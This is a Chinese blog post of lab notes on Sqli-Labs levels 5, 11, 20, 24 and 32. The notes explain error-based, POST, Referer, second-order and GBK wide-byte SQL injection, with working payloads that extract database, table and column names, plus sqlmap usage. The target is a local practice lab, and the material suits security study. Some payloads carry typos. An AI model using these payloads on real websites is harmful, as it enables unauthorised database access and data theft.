欢迎光临
我们一直在努力

Sqli-Labs 靶场进阶通关笔记:报错 / 宽字节 / 二次注入手工 Payload+SQLmap 自动化实战; 关卡5,11,20,24,32

LESS-5 报错注入

利用

extractvalue(xml,path)

文档名,路径

11

XML数据的格式:

一般查找是,extractvalue(xml,/book/author)

我们现在要触发一个报错;把报错信息能显示出来;

#   &&

extractvalue(xml,concat(‘~’,(sql)))

http://172.25.254.131/sqli/Less-5/?id=1' and extractvalue(1,concat('~',(select database()))) –+

~波浪线也可以写成0x7e

还有一个触发报错注入的函数;updataxml

前面是检索下来的指定文件指定内容;后面那个是替换的新的内容;

但我们只需要让其报错即可;

找到数据库;

Show databases;

Use security

Select * from xml2;

And updataxml(1,concat(“~”,(select database())),3) –+

还有一个是floor;

上下取整

第11关 post请求;

输入用过户名和密码后在上面看不到任何东西;说明是POST

用BURPSUITE去看;

右键放到重放器中,repeater

然后关闭拦截,就可以在重放器中随便去尝试了

参考打开源代码,

看是否能查出来

是可以查到的;

然后把源代码注释起来;

打开bp

打开页面渲染,查看效果;

直接登录成功了:

我不仅想看admin,我还想查当前使用的数据库,怎么办?

和GET步骤一样;

在burpsuit,输入3,看是否会报错;

 

是2列;

再去进行回显位置;2个位置都不用进行判断;

进行联合 注入

发送,查看响应;页面渲染

可以显示正确的内容;

如果不想显示正确内容,

把admin随便改写

之后,因为回显位置;就替换database()

查看security库中有什么表;

使用社区版;

在重放器试好之后就可以去浏览器改

专业版难用就下社区版;

第20关cookie的SQL注入;

没有显示;

依然使用burpsuite;

在referer输入内容

不一定局限于最后一行;

其他行也可能触发;

关卡有误,暂停

二次注入:

第一次构造语句可能根本就执行不了;

比如admin’#

可能把单引号,#进行实体化的处理,让他不再是一个SQL语句;

就导致第一次执行就执行不了;因为他会认为你这个是完整的名字;

他有可能把名字把记录存到自己数据库里面;第二次尝试去访问时候,才把这个触发了,这个就是二次注入

是24关;二次注入:

把语句,符号转译成普通字符;

      

存入了脏数据;

第二次通过某个页面,去访问这个数据的时候,就会导致触发注入;二次注入

先要注册一个新的用户

mysql_real_escape_string()

注册的时候因为有转译符号;拦住了

但,登录的页面把数据拿来就用了,没有进行校验;触发二次注入

宽字节注入:第32关

GET请求

字符型

闭合符:

明明源码写的是单引号;为什么没有执行

特殊函数有吗;

会把单引号前面加个斜杠,构造出来的;前面的单引号闭合不了,’\\’

不能正常把AND执行,因为单引号,已经被转译到没有特殊含义了

\\’就没有任何含义了

这样就需要借助宽字节了;\\’

宽字节讲解

十进制转换为16进制

编码

0x5c

后面有个转义字符;转义字符经过URL编码,变成%5C了,GBK是两个字节可以组成一个汉字,汉字就不会影响我后面的闭合符

第32关

进入burpsuite

关闭拦截,打开重放器;

%27

前端看到的是%27

传到后端,后端会把值做处理,%5C%27

进入MYSQL里面会进行URL解码

这样就会导致,你构造了半天的东西;后面   \\’   没有办法闭合,你的SQL语句就没办法正常执行;

就相当于,你输入一个 1’  –+  ;到了后端之后,变成了    cdcdcd\\’ –+

而你的单引号就没办法闭合人家本身的单引

既然会给我写的单引前面加个 %5c ;我在在输入的时候,在单引号前加一个   %df’

后端会,   1%df%5c%27 and 1=2 –+

这个时候GBK宽字节;强行加了一个字节进去,到后端之后,自动进行解码;解码时候,如果我们本身的解码方式设置的是这种宽字节的解码,JBK,UKF;

GBK会会把%df%5c这两个字节读取一下,读取完之后,能够构成一个汉字,假如构成中;

‘1中’ and 1=2  –+’

因为我真正执行的在后面:and 1=2 –+

虽然多了个中,但是不影响大局,因为我真正要执行的在后面,

%df%5c是什么东西;繁体运

GBK汉字对照表

你不需要去考虑%5C,%5C是转义符,后端直接去加的,你只需要考虑的是,我把%df%27给凑出来;后端接受的时候会给你%27前面加一个%5c

然后会把%5c%27解析成汉字,然后呢,查出来的结果,要看and符有没有执行,

And符号1=2出不来结果了,证明AND生效了,

And2=2出来结果了证明目前是对的;

尝试联合注入Order by 4

?id=1%df’order by 3

?id=-1%df’ Union selectc1,2,3 –+

1,2,(database())

下一步查表,查列,

Users表名的单引,还是双引

1,2,(中’users===>ascii中’)

把users转换成我们对应的ASCII码;再转成16进制,这样的话,一定能表示成字符,最后结果是

select 1, 2, (select group_concat(column_nane) from information_schema.columns where table_name=0x7573657273 and table_schema=database())–+

因为正常用单引号,前面会加斜杠转义了,所以转成ASCII==》转成16进制

group_concat:把结果拼成一行;

解决单引号问题;

前面单引号转成汉字,后面的弄成字符

必须用16进制吗?

117 115 101  114

Select char(114);

select 1, 2, (select group_concat(column_nane) from information_schema.columns where table_name=char(117,115,101,114,115)  and  table_schema=database())–+

对于编码方式,你的命令最终在哪里执行,要“那种语言”能够识别你这个编码

接下来是SQLMAP的工具:

自动化SQL注入探测的

KALI自带;

Sqlmap -u http://172……….less1/?id=1

Payload:

Payload = 真正实现攻击目的的恶意代码 / 语句 请求里的普通参数是无关内容,真正用来拿数据、破坏数据库的那段恶意语句,就叫 payload。

-u是GET请求

-r 是在一个文件里面去读取;在bp里面,直接把抓到的包给他

把重放器的内容保存

Vim 1.txt

Sqlmap -r 1.txt

1.txt放的是BP包

赞(0)
未经允许不得转载:171主机测评 » Sqli-Labs 靶场进阶通关笔记:报错 / 宽字节 / 二次注入手工 Payload+SQLmap 自动化实战; 关卡5,11,20,24,32
分享到: 更多 (0)

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址